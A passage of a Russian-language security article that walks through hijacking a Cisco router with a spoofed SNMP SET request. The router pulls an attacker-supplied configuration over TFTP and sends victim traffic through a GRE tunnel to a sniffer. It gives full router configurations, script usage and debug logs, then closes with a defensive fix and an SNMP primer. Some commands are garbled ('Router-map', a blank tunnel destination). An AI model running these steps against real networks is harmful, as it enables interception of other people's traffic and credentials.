Последняя команда не обязательна, так как по умолчанию все равно создается именно GRE туннель (но мы все же добавили ее для большей уверенности).

Теперь мы можем настроить правила доступа (access-lists) для указания типа проходящего через туннель трафика и карты маршрутизации (route-maps) необходимые для перенаправления трафика.

Для этого добавим в файл конфигурации атакуемого маршрутизатора еще несколько строк:

Access-list 101 permit tcp any any eq 443 access-list 101 permit tcp any any eq 80 access-list 101 permit tcp any any eq 21 access-list 101 permit tcp any any eq 20 access-list 101 permit tcp any any eq 23 access-list 101 permit tcp any any eq 25 access-list 101 permit tcp any any eq 110 Мы разрешили передачу данных по протоколам SSL, HTTP, FTP, telnet, SMTP и POP3.

Теперь, если трафик соответствует вышеописанным правилам, он будет перенаправлен в соответствии с картами маршрутизации, описание которых нужно добавить в файл конфигурации:

Router-map divert-traffic match ip address 101 set ip next-hop 192.168.10.2 interface Ethernet0/0 ip policy route-map divert-traffic Эта запись несет в себе следующий смысл:

Мы определили имя карты маршрутизации (divert-traffic) и затем использовали команду ‘match’, чтобы указать, что в качестве условия соответствия нужно использовать набор правил доступа 101 (access-list).
В качестве next-hop адреса мы указали IP адрес атакующего.
Мы применили карту маршрутизации к внешнему LAN-интерфейсу атакуемой машины. Результатом этого будет слежение за всем входящим и исходящим трафиком Ethernet0/0.

Маршрутизатор хакера

Конфигурация маршрутизатора атакующего чуть сложнее, так как мы должны определить две карты маршрутизации – одну для переправления трафика на компьютер атакующего (sniffer), и другую для отправки трафика обратно на атакуемый маршрутизатор. Очень важно, чтобы мы отправляли туннелированные данные назад на атакуемый маршрутизатор, чтобы атакуемый компьютер (Victim Client) не потерял соединение.

Начнем с создания GRE туннеля на маршрутизаторе атакующего: Attacker(config)# interface tunnel0 Attacker(config-if)# ip address 192.168.10.2 255.255.255.0 Attacker(config-if)# tunnel source Ethernet0/0 Attacker(config-if)# tunnel destination Attacker(config-if)# tunnel mode gre ip Attacker(config)# access-list 101 permit ip any any Attacker(config)# router-map divert-to-sniffer Attacker(config-route-map)# match ip address 101 Attacker(config-route-map)# set ip next-hop 192.168.3.5 Attacker(config-route-map)# exit Attacker(config)# interface tunnel0 Attacker(config-if)# ip policy route-map divert-to-sniffer Эти правила означают следующее:

Мы создали правило доступа, разрешающее все типы трафика.
Мы создали карту маршрутизации divert-to-sniffer (эта карта маршрутизации будет перенаправлять туннелированный трафик на сниффер).
Созданное правило доступа используется в качестве условия соответствия.
В качестве next-hop адреса мы указали IP адрес атакующего (sniffer).
Мы применили карту маршрутизации к интерфейсу tunnel0.

Очень важно, что мы используем карту маршрутизации для перенаправления данных. Маршрутизатор получает туннелированные данные, инкапсулированные в GRE пакете, и без декодирования пакета мы не можем их просмотреть. Переправляя полученные пакеты атакующему (sniffer), маршрутизатор передает их как обычные IP пакеты без GRE инкапсуляции.

Наконец, создадим карту маршрутизации и ассоциируем ее с интерфейсом Ethernet0/0:

Attacker(config-if)# route-map divert-out Attacker(config-route-map)# match ip address 101 Attacker(config-route-map)# set ip next-hop 192.168.10.1 Attacker(config-route-map)# exit Attacker(config)# interface ethernet0/0 Attacker(config-if)# ip policy route-map divert-out Эти дополнительные настройки означают следующее:

После того как атакующий (sniffer) перехватит и переправит туннелированные данные назад, карта маршрутизации divert-out перенаправит трафик обратно на атакуемый маршрутизатор.
Мы применили карту маршрутизации к Ethernet интерфейсу.

Атакующий (sniffer)

По завершению конфигурирования маршрутизаторов нам нужно настроить компьютер атакующего (sniffer) для перехвата и перенаправления данных. Важно, чтобы компьютер был сконфигурирован на обратное перенаправление пакетов. Для этого можно использовать одну из следующих команд: root@whax:~# echo 1 > /proc/sys/net/ipv4/ip_forward или root@whax:~# fragrouter -B1 Без перенаправления наша атака вызовет отказ от обслуживания (DoS) на атакуемом компьютер и соответственно потеряет смысл.

Начинаем атаку

После того как все настройки будут завершены, все, что нам останется сделать – загрузить новый модифицированный файл конфигурации на атакуемый маршрутизатор. Результатом будет активации GRE туннеля и перенаправление всего трафика из локальной сети атакуемого компьютера к хакеру (sniffer).

Нам нужно создать поддельный SNMP SET запрос, в результате которого маршрутизатор загрузит новый конфигурационный файл и добавит его к текущей конфигурации. Для того чтобы получить базовый пакет мы снова отправим обычный запрос:

Root@whax# ./merge-router-config.pl ###################################################### # Merge Cisco Router config - Using SNMP # Hacked up by muts - [email protected] ####################################################### Usage: ./merge-copy-config.pl Make sure a TFTP server is set up, prefferably running from /tmp ! root@whax# Перехватим этот пакет и изменим обратный IP адрес и некоторые другие поля заголовка пакета, как показано на Рисунке 5.

Рисунок 5. Изменение заголовка пакета.

После отправки модифицированного пакета, будет создано TFTP соединения с нашим компьютером (Рисунок 6).

Рисунок 6. Соединение с TFTP сервером атакующего.

Обратите внимание на TFTP запрос на чтение (пакет №2). Пакет обходит правила доступа SNMP, вследствие чего происходит загрузка и добавление к текущей конфигурации нового модифицированного конфигурационного файла. Отладочная информация атакуемого маршрутизатора дает много интересного о ходе атаки:

*Mar 1 00:32:53.854: SNMP: Set request, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server) ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:53.971: SNMP: Response, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server) ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:54.291: SNMP: Packet sent via UDP to 192.168.1.5 Заметьте, что адрес TFTP сервера отличается от IP адреса атакующего и передается отдельным параметром. Теперь туннель открыт, готов к работе и может быть представлен в виде диаграммы на Рисунке 7.

Рисунок 7. GRE туннель.

Проверить работоспособность туннеля можно, отослав отладочную команду на маршрутизатор атакующего:

Attacker# debug tunnel *Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242 ->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0) *Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55 -> 212.199.145.242, tos=0x0 *Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242 ->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0) *Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55 -> 212.199.145.242, tos=0x0g all Предположим, атакованный компьютер произвел поиск выражения “GRE Sniffing” в Google, как показано на Рисунке 8.

Рисунок 8. Жертва ищет информацию о GRE туннелях.

В результате этих действий, Ethereal на компьютере атакующего получит пакеты, показанные на Рисунке 9.

Рисунок 9. Сниффер показывает запрос в Google на поиск информации о GRE туннелях.

Кроме использования специализированного сниффера (такого как dsniff) для перехвата паролей, передаваемых открытым текстом, мы можем осуществить сложные атаки класса ‘человек посередине – man-in-the-middle’ на компьютер жертвы. Ettercap – хорошая утилита, позволяющая, кроме перехвата разных типов паролей, организовать атаку ‘человек посередине’ на шифруемые протоколы SSL и SSH. С помощью фильтров Ettercap можно управлять проходящим трафиком и изменять его. Возможности практически бесконечны.

Заключение

Иногда некоторые вещи являются не тем, чем кажутся. Когда имеешь дело с SNMP (или другим протоколами на основе UDP) всегда нужно знать об укромных уголках и трещинах, упущение из виду которых может стать причиной компрометации вашей сети.

В описанном примере, дополнительного правило доступа, явно определяющего адрес TFTP сервера (находящегося на атакованном нами маршрутизаторе) хватило бы, чтобы сорвать атаку.

Скептики могут спросить “Как атакующий узнал о правилах доступа / имени SNMP группы RW?”. Эта информация может быть получена перебором, причем не только имена групп, но и разрешенные IP адреса, и такая утилита уже существует.

Целью статьи было показать не столько эффективность описанной атаки, сколько потенциальные бреши протоколов, основанных на UDP. Это никоим образом не означает, что оборудование Cisco небезопасно. Грамотная конфигурация должна свести на минимум шансы обхода защиты. Ошибки сетевых администраторов – вот основные причины компрометаций оборудования Cisco.

Информация об укреплении защиты маршрутизаторов Cisco может быть найдена на сайте

SNMP - это протокол прикладного уровня, разработанный для стека TCP/IP, хотя имеются его реализации и для других стеков, например IPX/SPX. Протокол SNMP используется для получения от сетевых устройств информации об их статусе, производительности и других характеристиках, которые хранятся в базе данных управляющей информации MIB (Management Information Base). Простота SNMP во многом определяется простотой MIB SNMP, особенно их первых версий MIB I и MIB II. Кроме того, сам протокол SNMP также весьма несложен.

Агент в протоколе SNMP - это обрабатывающий элемент, который обеспечивает менеджерам, размещенным на управляющих станциях сети, доступ к значениям переменных MIB и тем самым дает им возможность реализовывать функции по управлению и наблюдению за устройством.

Основные операции по управлению вынесены в менеджер, а агент SNMP выполняет чаще всего пассивную роль, передавая в менеджер по его запросу значения накопленных статистических переменных. При этом устройство работает с минимальными издержками на поддержание управляющего протокола. Оно использует почти всю свою вычислительную мощность для выполнения своих основных функций маршрутизатора, моста или концентратора, а агент занимается сбором статистики и значений переменных состояния устройства и передачей их менеджеру системы управления.

SNMP - это протокол типа «запрос-ответ» , то есть на каждый запрос, поступивший от менеджера, агент должен передать ответ. Особенностью протокола является его чрезвычайная простота - он включает в себя всего несколько команд.

Команда Get-request используется менеджером для получения от агента значения какого-либо объекта по его имени.

Команда GetNext-request используется менеджером для извлечения значения следующего объекта (без указания его имени) при последовательном просмотре таблицы объектов.

С помощью команды Get-response агент SNMP передает менеджеру ответ на команды Get-request или GetNext-request.

Команда Set используется менеджером для изменения значения какого-либо объекта. С помощью команды Set происходит собственно управление устройством. Агент должен понимать смысл значений объекта, который используется для управления устройством, и на основании этих значений выполнять реальное управляющее воздействие - отключить порт, приписать порт определенной VLAN и т. п. Команда Set пригодна также для установки условия, при выполнении которого агент SNMP должен послать менеджеру соответствующее сообщение. Может быть определена реакция на такие события, как инициализация агента, рестарт агента, обрыв связи, восстановление связи, неверная аутентификация и потеря ближайшего маршрутизатора. Если происходит любое из этих событий, то агент инициализирует прерывание.

Команда Trap используется агентом для сообщения менеджеру о возникновении особой ситуации.

Версия SNMP v.2 добавляет к этому набору команду GetBulk, которая позволяет менеджеру получить несколько значений переменных за один запрос.